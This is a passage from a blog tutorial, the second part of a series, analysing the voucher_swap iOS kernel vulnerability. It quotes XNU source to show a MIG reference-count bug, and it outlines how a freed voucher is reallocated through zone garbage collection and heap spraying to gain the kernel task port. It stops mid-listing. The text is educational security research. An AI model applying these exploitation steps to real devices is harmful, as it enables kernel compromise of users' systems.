30 Apr 19

From zero to tfp0 - Part 2: Walkthrough of the voucher_swap exploit

Introduction

In the first article of this series, we looked at some of the fundamentals of iOS security which are essential in order to understand how exploits and jailbreaks are written. In the second part of this series, we will get an in-depth look at the voucher_swap vulnerability and all the steps leading up to getting the kernel task port.

All credit for the vulnerability and the Proof of Concept (PoC) goes to @_bazad

Reference Counting

The bug in this article is a reference counting issue in the MIG generated code. But let's understand first what reference counting is. Reference counting is a form of simple yet effective memory management. It is a way to keep a count of the number of references to an object held by other objects. If an object's reference count reaches zero, the object will be destroyed. Creating or Copying an object will increase its reference count by 1, whereas destroying a reference or overwriting the object will decrement its reference count by 1. In systems with limited memory, reference counting can prove more efficient than garbage collection (which happens in cycles and can be time consuming), because objects can be claimed as soon as their reference count becomes zero, and this improves the overall responsiveness of the system.

Reference counting can be put on certain objects, with a field in the object's struct denoting the reference count. For e.g, the Mach Ports(ipc_port_t) are reference counted objects, with the 32 bit field io_references specifying the reference count, and the functions ip_reference and ip_release are used to increase and decrease the reference count it. A simple search for ip_reference will give many examples of this function being used to manipulate the reference count of ports.


File: ./osfmk/ipc/ipc_object.c
603: 			port->ip_srights++;
604: 		}
605: 		ip_reference(port);
606: 		ip_unlock(port);
607: 		break;
608: 	    }
609:
610: 	    case MACH_MSG_TYPE_MAKE_SEND: {
611: 		ipc_port_t port = (ipc_port_t) object;
612:
613: 		ip_lock(port);
614: 		if (ip_active(port)) {
615: 			assert(port->ip_receiver_name != MACH_PORT_NULL);
616: 			assert((port->ip_receiver == ipc_space_kernel) ||
617:                    (port->ip_receiver->is_node_id != HOST_LOCAL_NODE));
618: 			port->ip_mscount++;
619: 		}
620:
621: 		port->ip_srights++;
622: 		ip_reference(port);
623: 		ip_unlock(port);
624: 		break;
625: 	    }

And similarly for vouchers, the value iv_refs keeps a track of the reference count, as can be seen in osfmk/ipc/ipc_voucher.c.


File: ./osfmk/ipc/ipc_voucher.h
63: /*
64:  * IPC Voucher
65:  *
66:  * Vouchers are a reference counted immutable (once-created) set of
67:  * indexes to particular resource manager attribute values
68:  * (which themselves are reference counted).
69:  */
70: struct ipc_voucher {
71: 	iv_index_t		iv_hash;	/* checksum hash */
72: 	iv_index_t		iv_sum;		/* checksum of values */
73: 	os_refcnt_t		iv_refs;	/* reference count */
74: 	iv_index_t		iv_table_size;	/* size of the voucher table */
75: 	iv_index_t		iv_inline_table[IV_ENTRIES_INLINE];
76: 	iv_entry_t		iv_table;	/* table of voucher attr entries */
77: 	ipc_port_t		iv_port;	/* port representing the voucher */
78: 	queue_chain_t		iv_hash_link;	/* link on hash chain */
79: };
80:
81: #define IV_NULL 	IPC_VOUCHER_NULL

The value iv_refs is of the type os_refcnt_t, which is a 32 bit integer, so its range should be from 0-0xffffffff ideally; however, the maximum value is defined to be 0x0fffffff (7 f's) in the file libkern/os/refcnt.c. You may wonder why? This is a new mitigation to protect against integer overflows, and makes the reference leaks vulnerability unexploitable. However, a reference counting leak vulnerability can still let you increase the reference count up to the max value and perform interesting things as we will see later in this article.


File: ./libkern/os/refcnt.c
05: #include <kern/backtrace.h>
06: #include <libkern/libkern.h>
07: #include "refcnt.h"
08:
09: #define OS_REFCNT_MAX_COUNT     ((os_ref_count_t)0x0FFFFFFFUL)
10:
11: #if OS_REFCNT_DEBUG
12: os_refgrp_decl(static, global_ref_group, "all", NULL);
13: static bool ref_debug_enable = false;
14: static const size_t ref_log_nrecords = 1000000;

Accessing any value out of this range will trigger a kernel panic, as can be seen from the functions below.


File: ./libkern/os/refcnt.c
36: static void
37: os_ref_check_underflow(struct os_refcnt *rc, os_ref_count_t count)
38: {
39: 	if (__improbable(count == 0)) {
40: 		panic("os_refcnt: underflow (rc=%p, grp=%s)\n", rc, ref_grp_name(rc));
41: 		__builtin_unreachable();
42: 	}
43: }
44:
45: static void
46: os_ref_assert_referenced(struct os_refcnt *rc, os_ref_count_t count)
47: {
48: 	if (__improbable(count == 0)) {
49: 		panic("os_refcnt: used unsafely when zero (rc=%p, grp=%s)\n", rc, ref_grp_name(rc));
50: 		__builtin_unreachable();
51: 	}
52: }
53:
54: static void
55: os_ref_check_overflow(struct os_refcnt *rc, os_ref_count_t count)
56: {
57: 	if (__improbable(count >= OS_REFCNT_MAX_COUNT)) {
58: 		panic("os_refcnt: overflow (rc=%p, grp=%s)\n", rc, ref_grp_name(rc));
59: 		__builtin_unreachable();
60: 	}
61: }

The ipc_voucher_release and ipc_voucher_reference functions for a voucher checks whether the voucher on which the function is being called is not NULL and call iv_reference and iv_release which then calls os_ref_retain and os_ref_release respectively.


File: ./osfmk/ipc/ipc_voucher.c
449: void
450: ipc_voucher_reference(ipc_voucher_t voucher)
451: {
452: 	if (IPC_VOUCHER_NULL == voucher)
453: 		return;
454:
455: 	iv_reference(voucher);
456: }
457:
458: void
459: ipc_voucher_release(ipc_voucher_t voucher)
460: {
461: 	if (IPC_VOUCHER_NULL != voucher)
462: 		iv_release(voucher);
463: }


File: ./osfmk/ipc/ipc_voucher.c
104:
105: static inline void
106: iv_reference(ipc_voucher_t iv)
107: {
108: 	os_ref_retain(&iv->iv_refs);
109: }
110:
111: static inline void
112: iv_release(ipc_voucher_t iv)
113: {
114: 	if (os_ref_release(&iv->iv_refs) == 0) {
115: 		iv_dealloc(iv, TRUE);
116: 	}
117: }

More details can be found under BUILD/obj/EXPORT_HDRS/libkern/os/refcnt.h


File: ./BUILD/obj/EXPORT_HDRS/libkern/os/refcnt.h
126: /*
127:  * os_ref_retain: acquire a reference (increment reference count by 1) atomically.
128:  *
129:  * os_ref_release: release a reference (decrement reference count) atomically and
130:  *		return the new count. Memory is synchronized such that the dealloc block
131:  *		(i.e. code handling the final release() == 0 call) sees up-to-date memory
132:  *		with respect to all prior release()s on the same refcnt object. This
133:  *		memory ordering is sufficient for most use cases.
134:  *
135:  * os_ref_release_relaxed: same as release() but with weaker relaxed memory ordering.
136:  *		This can be used when the dealloc block is already synchronized with other
137:  *		accesses to the object (for example, with a lock).
138:  *
139:  * os_ref_release_live: release a reference that is guaranteed not to be the last one.
140:  */
141: void os_ref_retain(struct os_refcnt *);
142:
143: os_ref_count_t os_ref_release_explicit(struct os_refcnt *rc,
144: 		memory_order release_order, memory_order dealloc_order) OS_WARN_RESULT;
145:
146: static inline os_ref_count_t OS_WARN_RESULT
147: os_ref_release(struct os_refcnt *rc)
148: {
149: 	return os_ref_release_explicit(rc, memory_order_release, memory_order_acquire);
150: }
151:
152: static inline os_ref_count_t OS_WARN_RESULT
153: os_ref_release_relaxed(struct os_refcnt *rc)
154: {
155: 	return os_ref_release_explicit(rc, memory_order_relaxed, memory_order_relaxed);
156: }
157:
158: static inline void
159: os_ref_release_live(struct os_refcnt *rc)
160: {
161: 	if (__improbable(os_ref_release_explicit(rc,
162: 			memory_order_release, memory_order_relaxed) == 0)) {
163: 		panic("os_refcnt: unexpected release of final reference (rc=%p)\n", rc);
164: 		__builtin_unreachable();
165: 	}
166: }
167:

There can be two kinds of vulnerabilities that can arise because of this, one is if the reference count can be increased in some way such that it leads to an integer overflow. We already discussed that because of the maximum cap, this is not really exploitable. However, you can still increase the ref count up to 0x0fffffff and we will use this technique later. The other is if the object's reference count can be set to 0 but there is still a pointer to it. Now, since the reference count becomes 0 the object will be freed, and hence the pointer pointing to it becomes what we call a dangling pointer.

The Vulnerability

So let's have a look at the vulnerability. Look under the file /xnu-4903.221.2/osfmk/kern/task.c and the function task_swap_mach_voucher. This is a simple function which from its signature is supposed to take a new voucher and an old voucher and swap them. Well, this is what it is suppossed to do but it just removes the old_voucher with the new_voucher.


File: ./osfmk/kern/task.c
5993: /* Placeholders for the task set/get voucher interfaces */
5994: kern_return_t
5995: task_get_mach_voucher(
5996: 	task_t			task,
5997: 	mach_voucher_selector_t __unused which,
5998: 	ipc_voucher_t		*voucher)
5999: {
6000: 	if (TASK_NULL == task)
6001: 		return KERN_INVALID_TASK;
6002:
6003: 	*voucher = NULL;
6004: 	return KERN_SUCCESS;
6005: }
6006:
6007: kern_return_t
6008: task_set_mach_voucher(
6009: 	task_t			task,
6010: 	ipc_voucher_t		__unused voucher)
6011: {
6012: 	if (TASK_NULL == task)
6013: 		return KERN_INVALID_TASK;
6014:
6015: 	return KERN_SUCCESS;
6016: }
6017:
6018: kern_return_t
6019: task_swap_mach_voucher(
6020: 	task_t			task,
6021: 	ipc_voucher_t		new_voucher,
6022: 	ipc_voucher_t		*in_out_old_voucher)
6023: {
6024: 	if (TASK_NULL == task)
6025: 		return KERN_INVALID_TASK;
6026:
6027: 	*in_out_old_voucher = new_voucher;
6028: 	return KERN_SUCCESS;
6029: }
6030:

The function task_swap_mach_voucher is a placeholder as per the comments. A quick search for it would also find the routine under xnu-4903.221.2/osfmk/mach/task.defs


File: ./BUILD/obj/EXPORT_HDRS/osfmk/mach/task.defs
455: routine task_swap_mach_voucher(
456: 		task : task_t;
457: 		new_voucher	: ipc_voucher_t;
458: 	inout	old_voucher	: ipc_voucher_t);

This proves that it is actually a Mach API, since MIG def files are generating code for Mach Interfaces. Lets search for task_swap_mach_voucher. Remember that we are doing this on a compiled version. Under the file /BUILD/obj/RELEASE_X86_64/osfmk/mach/task.h we can find the Mach message format for this function.


File: ./BUILD/obj/EXPORT_HDRS/osfmk/mach/task.h
2086: #ifdef  __MigPackStructs
2087: #pragma pack(4)
2088: #endif
2089: 	typedef struct {
2090: 		mach_msg_header_t Head;
2091: 		/* start of the kernel processed data */
2092: 		mach_msg_body_t msgh_body;
2093: 		mach_msg_port_descriptor_t old_voucher;
2094: 		/* end of the kernel processed data */
2095: 	} __Reply__task_swap_mach_voucher_t __attribute__((unused));
2096: #ifdef  __MigPackStructs
2097: #pragma pack()
2098: #endif

And under the file /BUILD/obj/RELEASE_X86_64/osfmk/RELEASE/mach/task_server.c we can see checks being performed on the request.


File: ./BUILD/obj/RELEASE_X86_64/osfmk/RELEASE/mach/task_server.c
4714: mig_internal kern_return_t __MIG_check__Request__task_swap_mach_voucher_t(__attribute__((__unused__)) __Request__task_swap_mach_voucher_t *In0P)
4715: {
4716:
4717: 	typedef __Request__task_swap_mach_voucher_t __Request;
4718: #if	__MigTypeCheck
4719: 	if (!(In0P->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX) ||
4720: 	    (In0P->msgh_body.msgh_descriptor_count != 2) ||
4721: 	    (In0P->Head.msgh_size != (mach_msg_size_t)sizeof(__Request)))
4722: 		return MIG_BAD_ARGUMENTS;
4723: #endif	/* __MigTypeCheck */
4724:
4725: #if	__MigTypeCheck
4726: 	if (In0P->new_voucher.type != MACH_MSG_PORT_DESCRIPTOR ||
4727: 	    In0P->new_voucher.disposition != 17)
4728: 		return MIG_TYPE_ERROR;
4729: #endif	/* __MigTypeCheck */
4730:
4731: #if	__MigTypeCheck
4732: 	if (In0P->old_voucher.type != MACH_MSG_PORT_DESCRIPTOR ||
4733: 	    In0P->old_voucher.disposition != 17)
4734: 		return MIG_TYPE_ERROR;
4735: #endif	/* __MigTypeCheck */
4736:
4737: 	return MACH_MSG_SUCCESS;
4738: }

And the actual implementation can be found just below it.


File: ./BUILD/obj/RELEASE_X86_64/osfmk/RELEASE/mach/task_server.c
4744: /* Routine task_swap_mach_voucher */
4745: mig_internal novalue _Xtask_swap_mach_voucher
4746: 	(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
4747: {
4748:
4749: #ifdef  __MigPackStructs
4750: #pragma pack(4)
4751: #endif
4752: 	typedef struct {
4753: 		mach_msg_header_t Head;
4754: 		/* start of the kernel processed data */
4755: 		mach_msg_body_t msgh_body;
4756: 		mach_msg_port_descriptor_t new_voucher;
4757: 		mach_msg_port_descriptor_t old_voucher;
4758: 		/* end of the kernel processed data */
4759: 		mach_msg_trailer_t trailer;
4760: 	} Request __attribute__((unused));
4761: #ifdef  __MigPackStructs
4762: #pragma pack()
4763: #endif
4764: 	typedef __Request__task_swap_mach_voucher_t __Request;
4765: 	typedef __Reply__task_swap_mach_voucher_t Reply __attribute__((unused));
4766:
4767: 	/*
4768: 	 * typedef struct {
4769: 	 * 	mach_msg_header_t Head;
4770: 	 * 	NDR_record_t NDR;
4771: 	 * 	kern_return_t RetCode;
4772: 	 * } mig_reply_error_t;
4773: 	 */
4774:

Here is the stripped out implementation, with the interesting functions marked in bold.

/* Routine task_swap_mach_voucher */
mig_internal novalue _Xtask_swap_mach_voucher
	(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
{

-----------------------------
-----------------------------
#endif
	OutP->old_voucher.pad2 = 0;
	OutP->old_voucher.type = MACH_MSG_PORT_DESCRIPTOR;
#if defined(KERNEL)
	OutP->old_voucher.pad_end = 0;
#endif
#endif	/* UseStaticTemplates */


	task = convert_port_to_task(In0P->Head.msgh_request_port);

	new_voucher = convert_port_to_voucher(In0P->new_voucher.name);

	old_voucher = convert_port_to_voucher(In0P->old_voucher.name);

	RetCode = task_swap_mach_voucher(task, new_voucher, &old_voucher);
	ipc_voucher_release(new_voucher);
	task_deallocate(task);
	if (RetCode != KERN_SUCCESS) {
		MIG_RETURN_ERROR(OutP, RetCode);
	}
#if	__MigKernelSpecificCode

	if (IP_VALID((ipc_port_t)In0P->old_voucher.name))
		ipc_port_release_send((ipc_port_t)In0P->old_voucher.name);

	if (IP_VALID((ipc_port_t)In0P->new_voucher.name))
		ipc_port_release_send((ipc_port_t)In0P->new_voucher.name);
#endif /* __MigKernelSpecificCode */
	OutP->old_voucher.name = (mach_port_t)convert_voucher_to_port(old_voucher);

	OutP->Head.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
	OutP->Head.msgh_size = (mach_msg_size_t)(sizeof(Reply));
	OutP->msgh_body.msgh_descriptor_count = 1;
	__AfterRcvRpc(3441, "task_swap_mach_voucher")
}

The function convert_port_to_voucher increases the reference count by one by calling ipc_voucher_reference.


File: ./osfmk/ipc/ipc_voucher.c
386: /*
387:  *	Routine:	convert_port_to_voucher
388:  *	Purpose:
389:  *		Convert from a port to a voucher.
390:  *		Doesn't consume the port [send-right] ref;
391:  *		produces a voucher ref,	which may be null.
392:  *	Conditions:
393:  *		Caller has a send-right reference to port.
394:  *		Port may or may not be locked.
395:  */
396: ipc_voucher_t
397: convert_port_to_voucher(
398: 	ipc_port_t	port)
399: {
400: 	if (IP_VALID(port)) {
401: 		ipc_voucher_t voucher = (ipc_voucher_t) port->ip_kobject;
402:
403: 		/*
404: 		 * No need to lock because we have a reference on the
405: 		 * port, and if it is a true voucher port, that reference
406: 		 * keeps the voucher bound to the port (and active).
407: 		 */
408: 		if (ip_kotype(port) != IKOT_VOUCHER)
409: 			return IV_NULL;
410:
411: 		assert(ip_active(port));
412:
413: 		ipc_voucher_reference(voucher);
414: 		return (voucher);
415: 	}
416: 	return IV_NULL;
417: }
418:

The function convert_voucher_to_port will decrease the reference count by calling ipc_voucher_release.


File: ./osfmk/ipc/ipc_voucher.c
492: /*
493:  * Convert a voucher to a port.
494:  */
495: ipc_port_t
496: convert_voucher_to_port(ipc_voucher_t voucher)
497: {
498: 	ipc_port_t	port, send;
499:
500: 	if (IV_NULL == voucher)
501: 		return (IP_NULL);
502:
503: 	assert(os_ref_get_count(&voucher->iv_refs) > 0);
504:
505: 	/* create a port if needed */
506: 	port = voucher->iv_port;
507: 	if (!IP_VALID(port)) {
508: 		port = ipc_port_alloc_kernel();
509: 		assert(IP_VALID(port));
510: 		ipc_kobject_set_atomically(port, (ipc_kobject_t) voucher, IKOT_VOUCHER);
511:
512: 		/* If we lose the race, deallocate and pick up the other guy's port */
513: 		if (!OSCompareAndSwapPtr(IP_NULL, port, &voucher->iv_port)) {
514: 			ipc_port_dealloc_kernel(port);
515: 			port = voucher->iv_port;
516: 			assert(ip_kotype(port) == IKOT_VOUCHER);
517: 			assert(port->ip_kobject == (ipc_kobject_t)voucher);
518: 		}
519: 	}
520:
521: 	ip_lock(port);
522: 	assert(ip_active(port));
523: 	send = ipc_port_make_send_locked(port);
524:
525: 	if (1 == port->ip_srights) {
526: 		ipc_port_t old_notify;
527:
528: 		/* transfer our ref to the port, and arm the no-senders notification */
529: 		assert(IP_NULL == port->ip_nsrequest);
530: 		ipc_port_nsrequest(port, port->ip_mscount, ipc_port_make_sonce_locked(port), &old_notify);
531: 		/* port unlocked */
532: 		assert(IP_NULL == old_notify);
533: 	} else {
534: 		/* piggyback on the existing port reference, so consume ours */
535: 		ip_unlock(port);
536: 		ipc_voucher_release(voucher);
537: 	}
538: 	return (send);
539: }
540:

And if you look again at the routine task_swap_mach_voucher, the reference count of new voucher is descreased by one by calling ipc_voucher_release (Line 4844).


File: ./BUILD/obj/RELEASE_X86_64/osfmk/RELEASE/mach/task_server.c
4836:
4837: 	task = convert_port_to_task(In0P->Head.msgh_request_port);
4838:
4839: 	new_voucher = convert_port_to_voucher(In0P->new_voucher.name);
4840:
4841: 	old_voucher = convert_port_to_voucher(In0P->old_voucher.name);
4842:
4843: 	RetCode = task_swap_mach_voucher(task, new_voucher, &old_voucher);
4844: 	ipc_voucher_release(new_voucher);
4845: 	task_deallocate(task);
4846: 	if (RetCode != KERN_SUCCESS) {
4847: 		MIG_RETURN_ERROR(OutP, RetCode);
4848: 	}
4849: #if	__MigKernelSpecificCode
4850:
4851: 	if (IP_VALID((ipc_port_t)In0P->old_voucher.name))
4852: 		ipc_port_release_send((ipc_port_t)In0P->old_voucher.name);
4853:
4854: 	if (IP_VALID((ipc_port_t)In0P->new_voucher.name))
4855: 		ipc_port_release_send((ipc_port_t)In0P->new_voucher.name);
4856: #endif /* __MigKernelSpecificCode */
4857: 	OutP->old_voucher.name = (mach_port_t)convert_voucher_to_port(old_voucher);
4858:
4859:

Here are the reference count changes.

	Line 4839: Reference count of new_voucher + 1

	Line 4841: Reference count of old_voucher + 1

	Line 4843: task_swap_mach_voucher called -> old_voucher = new_voucher

	Line 4844: Reference count of new_voucher - 1

	Line 4857: Reference count of new_voucher - 1 (Because old_voucher is now new_voucher)

I think you are starting to see the problem here. The reference count of new_voucher can be reduced by too many to eventually reach 0 thereby freeing the object. And the reference count of old_voucher can be increased by too many. As discussed before, the reference count overflow has been protected by the max cap value of 0x0fffffff.

So it is possible to get a dangling pointer pointing to a voucher. This can be done by storing a pointer to the voucher, and then using the vulnerability to reduce the reference count of the voucher to 0, which will free the voucher.

About Vouchers

Before proceeding, it is always a good idea to look at the object struct and understand the different fields in it.


File: ./osfmk/ipc/ipc_voucher.h
63: /*
64:  * IPC Voucher
65:  *
66:  * Vouchers are a reference counted immutable (once-created) set of
67:  * indexes to particular resource manager attribute values
68:  * (which themselves are reference counted).
69:  */
70: struct ipc_voucher {
71: 	iv_index_t		iv_hash;	/* checksum hash */
72: 	iv_index_t		iv_sum;		/* checksum of values */
73: 	os_refcnt_t		iv_refs;	/* reference count */
74: 	iv_index_t		iv_table_size;	/* size of the voucher table */
75: 	iv_index_t		iv_inline_table[IV_ENTRIES_INLINE];
76: 	iv_entry_t		iv_table;	/* table of voucher attr entries */
77: 	ipc_port_t		iv_port;	/* port representing the voucher */
78: 	queue_chain_t		iv_hash_link;	/* link on hash chain */
79: };

So the first thing is to identify which object to store the pointer for the freed voucher in. The best way for this is to search for ipc_voucher_t in the kernel source, and look for APIs that easily allow getting and setting of that pointer. One of the places which stands out is in the thread object inside osfmk/kern/thread.h which stores the voucher reference with the name ith_voucher.


File: ./BUILD/obj/EXPORT_HDRS/osfmk/kern/thread.h
570: #if CONFIG_EMBEDDED
571: 	task_watch_t *	taskwatch;		/* task watch */
572: #endif /* CONFIG_EMBEDDED */
573:
574: 	uint32_t			thread_callout_interrupt_wakeups;
575: 	uint32_t			thread_callout_platform_idle_wakeups;
576: 	uint32_t			thread_timer_wakeups_bin_1;
577: 	uint32_t			thread_timer_wakeups_bin_2;
578: 	uint16_t			thread_tag;
579: 	uint16_t			callout_woken_from_icontext:1,
580: 					callout_woken_from_platform_idle:1,
581: 					callout_woke_thread:1,
582: 					thread_bitfield_unused:13;
583:
584: 	mach_port_name_t		ith_voucher_name;
585: 	ipc_voucher_t			ith_voucher;
586: #if CONFIG_IOSCHED
587: 	void 				*decmp_upl;
588: #endif /* CONFIG_IOSCHED */
589:

The functions thread_get_mach_voucher and thread_set_mach_voucher can be used to read and write the voucher reference from userland. Again, as we recall from part 1, we need to look at the MIG generated code for this function.


File: ./BUILD/obj/RELEASE_X86_64/osfmk/RELEASE/mach/thread_act_server.c
2597: /* Routine thread_get_mach_voucher */
2598: mig_internal novalue _Xthread_get_mach_voucher
2599: 	(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
2600: {
2601:
2602: #ifdef  __MigPackStructs
2603: #pragma pack(4)
2604: #endif
2605: 	typedef struct {
2606: 		mach_msg_header_t Head;
2607: 		NDR_record_t NDR;
2608: 		mach_voucher_selector_t which;
2609: 		mach_msg_trailer_t trailer;
2610: 	} Request __attribute__((unused));
2614: 	typedef __Request__thread_get_mach_voucher_t __Request;
2615: 	typedef __Reply__thread_get_mach_voucher_t Reply __attribute__((unused));
2616:
2617: 	/*
2618: 	 * typedef struct {
2619: 	 * 	mach_msg_header_t Head;
2620: 	 * 	NDR_record_t NDR;
2621: 	 * 	kern_return_t RetCode;
2622: 	 * } mig_reply_error_t;
2623: 	 */
2624:

2686: 	thr_act = convert_port_to_thread(In0P->Head.msgh_request_port);
2687:
2688: 	RetCode = thread_get_mach_voucher(thr_act, In0P->which, &voucher);
2689: 	thread_deallocate(thr_act);
2690: 	if (RetCode != KERN_SUCCESS) {
2691: 		MIG_RETURN_ERROR(OutP, RetCode);
2692: 	}
2695: 	OutP->voucher.name = (mach_port_t)convert_voucher_to_port(voucher);
2702: }


Once we get a dangling pointer to a freed voucher object, we can then reallocate the freed voucher object with something else. However, this is not straightforward. Vouchers typically reside in their own zone ipc vouchers as can be seen in osfmk/ipc/ipc_voucher.c where the zinit call allocates a new zone for the vouchers.


File: ./osfmk/ipc/ipc_voucher.c
198: void
199: ipc_voucher_init(void)
200: {
201: 	natural_t ipc_voucher_max = (task_max + thread_max) * 2;
202: 	natural_t attr_manager_max = MACH_VOUCHER_ATTR_KEY_NUM_WELL_KNOWN;
203: 	iv_index_t i;
204:
205: 	ipc_voucher_zone = zinit(sizeof(struct ipc_voucher),
206: 				 ipc_voucher_max * sizeof(struct ipc_voucher),
207: 				 sizeof(struct ipc_voucher),
208: 				 "ipc vouchers");
209: 	zone_change(ipc_voucher_zone, Z_NOENCRYPT, TRUE);
210:
211:
216:

So the freed memory for the voucher will be placed in the freelist of the zone and allocated to a new voucher when it is created. Therefore in order to reallocate with some other object, the only feasible way is to initiate zone garbage collection which will move the freed memory for the vouchers (min size for reallocating is 1 page) into the zone map and then reallocate that memory with something else. Zone garbage collection can be triggered by allocating a large number of vouchers and freeing them, making that memory available for next allocation and then spraying via port pointers as we will see later in this article.

Let's look closely at thread_get_mach_voucher in MIG generated code again. Assuming we did reallocate the freed voucher with some object, the call thread_get_mach_voucher should succeed without panicking the kernel, since we are interested in tfp0 eventually and not really kernel panics. The function thread_get_mach_voucher inside the kernel which is called on Line 2688 calls ipc_voucher_reference(voucher) , which should mean that the iv_refs field should be valid for the voucher.


File: ./BUILD/obj/RELEASE_X86_64/osfmk/RELEASE/mach/thread_act_server.c
2597: /* Routine thread_get_mach_voucher */
2598: mig_internal novalue _Xthread_get_mach_voucher
2599: 	(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
2600: {
2601:
2602: #ifdef  __MigPackStructs
2603: #pragma pack(4)
2604: #endif
2605: 	typedef struct {
2606: 		mach_msg_header_t Head;
2607: 		NDR_record_t NDR;
2608: 		mach_voucher_selector_t which;
2609: 		mach_msg_trailer_t trailer;
2610: 	} Request __attribute__((unused));
2611: #ifdef  __MigPackStructs
2612: #pragma pack()
2613: #endif
2614: 	typedef __Request__thread_get_mach_voucher_t __Request;
2615: 	typedef __Reply__thread_get_mach_voucher_t Reply __attribute__((unused));
2616:
2617: 	/*
2618: 	 * typedef struct {
2619: 	 * 	mach_msg_header_t Head;
2620: 	 * 	NDR_record_t NDR;
2621: 	 * 	kern_return_t RetCode;
2622: 	 * } mig_reply_error_t;
2623: 	 */
2624:
2625: 	Request *In0P = (Request *) InHeadP;
2626: 	Reply *OutP = (Reply *) OutHeadP;
2627: #ifdef	__MIG_check__Request__thread_get_mach_voucher_t__defined
2628: 	kern_return_t check_result;
2629: #endif	/* __MIG_check__Request__thread_get_mach_voucher_t__defined */
2630:
2631: #if	__MigKernelSpecificCode
2632: #if	UseStaticTemplates
2633: 	const static mach_msg_port_descriptor_t voucherTemplate = {
2634: 		/* name = */		MACH_PORT_NULL,
2635: 		/* pad1 = */		0,
2636: 		/* pad2 = */		0,
2637: 		/* disp = */		17,
2638: 		/* type = */		MACH_MSG_PORT_DESCRIPTOR,
2639: 	};
2640: #endif	/* UseStaticTemplates */
2641:
2642: #else
2643: #if	UseStaticTemplates
2644: 	const static mach_msg_port_descriptor_t voucherTemplate = {
2645: 		/* name = */		MACH_PORT_NULL,
2646: 		/* pad1 = */		0,
2647: 		/* pad2 = */		0,
2648: 		/* disp = */		19,
2649: 		/* type = */		MACH_MSG_PORT_DESCRIPTOR,
2650: 	};
2651: #endif	/* UseStaticTemplates */
2652:
2653: #endif /* __MigKernelSpecificCode */
2654: 	kern_return_t RetCode;
2655: 	thread_act_t thr_act;
2656: 	ipc_voucher_t voucher;
2657:
2658: 	__DeclareRcvRpc(3625, "thread_get_mach_voucher")
2659: 	__BeforeRcvRpc(3625, "thread_get_mach_voucher")
2660:
2661: #if	defined(__MIG_check__Request__thread_get_mach_voucher_t__defined)
2662: 	check_result = __MIG_check__Request__thread_get_mach_voucher_t((__Request *)In0P);
2663: 	if (check_result != MACH_MSG_SUCCESS)
2664: 		{ MIG_RETURN_ERROR(OutP, check_result); }
2665: #endif	/* defined(__MIG_check__Request__thread_get_mach_voucher_t__defined) */
2666:
2667: #if	UseStaticTemplates
2668: 	OutP->voucher = voucherTemplate;
2669: #else	/* UseStaticTemplates */
2670: #if __MigKernelSpecificCode
2671: 	OutP->voucher.disposition = 17;
2672: #else
2673: 	OutP->voucher.disposition = 19;
2674: #endif /* __MigKernelSpecificCode */
2675: #if !(defined(KERNEL) && defined(__LP64__))
2676: 	OutP->voucher.pad1 = 0;
2677: #endif
2678: 	OutP->voucher.pad2 = 0;
2679: 	OutP->voucher.type = MACH_MSG_PORT_DESCRIPTOR;
2680: #if defined(KERNEL)
2681: 	OutP->voucher.pad_end = 0;
2682: #endif
2683: #endif	/* UseStaticTemplates */
2684:
2685:
2686: 	thr_act = convert_port_to_thread(In0P->Head.msgh_request_port);
2687:
2688: 	RetCode = thread_get_mach_voucher(thr_act, In0P->which, &voucher);
2689: 	thread_deallocate(thr_act);
2690: 	if (RetCode != KERN_SUCCESS) {
2691: 		MIG_RETURN_ERROR(OutP, RetCode);
2692: 	}
2693: #if	__MigKernelSpecificCode
2694: #endif /* __MigKernelSpecificCode */
2695: 	OutP->voucher.name = (mach_port_t)convert_voucher_to_port(voucher);
2696:
2697:
2698: 	OutP->Head.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
2699: 	OutP->Head.msgh_size = (mach_msg_size_t)(sizeof(Reply));
2700: 	OutP->msgh_body.msgh_descriptor_count = 1;
2701: 	__AfterRcvRpc(3625, "thread_get_mach_voucher")
2702: }


Then there is the call to convert_voucher_to_port on Line 2695 which looks like this.


File: ./osfmk/ipc/ipc_voucher.c
492: /*
493:  * Convert a voucher to a port.
494:  */
495: ipc_port_t
496: convert_voucher_to_port(ipc_voucher_t voucher)
497: {
498: 	ipc_port_t	port, send;
499:
500: 	if (IV_NULL == voucher)
501: 		return (IP_NULL);
502:
503: 	assert(os_ref_get_count(&voucher->iv_refs) > 0);
504:
505: 	/* create a port if needed */
506: 	port = voucher->iv_port;
507: 	if (!IP_VALID(port)) {
508: 		port = ipc_port_alloc_kernel();
509: 		assert(IP_VALID(port));
510: 		ipc_kobject_set_atomically(port, (ipc_kobject_t) voucher, IKOT_VOUCHER);
511:
512: 		/* If we lose the race, deallocate and pick up the other guy's port */
513: 		if (!OSCompareAndSwapPtr(IP_NULL, port, &voucher->iv_port)) {
514: 			ipc_port_dealloc_kernel(port);
515: 			port = voucher->iv_port;
516: 			assert(ip_kotype(port) == IKOT_VOUCHER);
517: 			assert(port->ip_kobject == (ipc_kobject_t)voucher);
518: 		}
519: 	}
520:

One of the first things which is checked (Line 503) is whether the voucher has a proper ref count. Then on line 507, the voucher's port is being checked for validity. If it is not valid, a freshly new voucher port is allocated. This is great because while allocating a fake voucher in place of the freed voucher, if we somehow keep the iv_port to be MACH_PORT_NULL, then we can actually also get a freshly allocated voucher port (IKOT_VOUCHER) for that particular voucher back to userspace, which we can then reference with ith_voucher->iv_port. This will allow us to further manipulate the voucher and increase or decrease its reference count.

Heap Feng Shui via OOL Ports Descriptor

As discussed briefly in Part 1, complex Mach Messages have a descriptor field, which could be of four types.

  • MACH_MSG_PORT_DESCRIPTOR: Sending a port in a message
  • MACH_MSG_OOL_DESCRIPTOR: Sending OOL data in a message
  • MACH_MSG_OOL_PORTS_DESCRIPTOR: Sending OOL ports array in a message
  • MACH_MSG_OOL_VOLATILE_DESCRIPTOR: Sending volatile data in a message

When a Mach message is sent with MACH_MSG_OOL_PORTS_DESCRIPTOR, it calls the function ipc_kmsg_copyin_ool_ports_descriptor.


File: ./osfmk/ipc/ipc_kmsg.c
2799: mach_msg_descriptor_t *
2800: ipc_kmsg_copyin_ool_ports_descriptor(
2801: 	mach_msg_ool_ports_descriptor_t *dsc,
2802: 	mach_msg_descriptor_t *user_dsc,
2803: 	int is_64bit,
2804: 	vm_map_t map,
2805: 	ipc_space_t space,
2806: 	ipc_object_t dest,
